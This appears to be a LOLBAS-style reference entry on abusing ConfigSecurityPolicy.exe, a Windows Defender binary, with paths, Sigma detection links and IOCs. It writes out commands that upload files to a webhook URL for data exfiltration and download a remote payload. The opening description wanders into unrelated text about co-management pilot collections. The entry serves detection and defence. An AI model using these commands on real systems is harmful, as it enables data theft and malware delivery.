/ConfigSecurityPolicy.exe

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Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Paths:

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

Resources:

- https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads
- https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads
- https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor
- https://twitter.com/NtSetDefault/status/1302589153570365440?s=20

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Detections:

Sigma:

https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml

- IOC: ConfigSecurityPolicy storing data into alternate data streams.
- IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
- IOC: User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"

Upload

Upload file, credentials or data exfiltration in general

ConfigSecurityPolicy.exe C:\Windows\System32\calc.exe https://webhook.site/xxxxxxxx?encodedfile

Use case: Upload file

Privileges required: User

Operating systems: Windows 10

ATT&CK® technique: T1567

Download

It will download a remote payload and place it in INetCache.

ConfigSecurityPolicy.exe https://example.com/payload

Use case: Downloads payload from remote server

Privileges required: User

Operating systems: Windows 10, Windows 11

ATT&CK® technique: T1105

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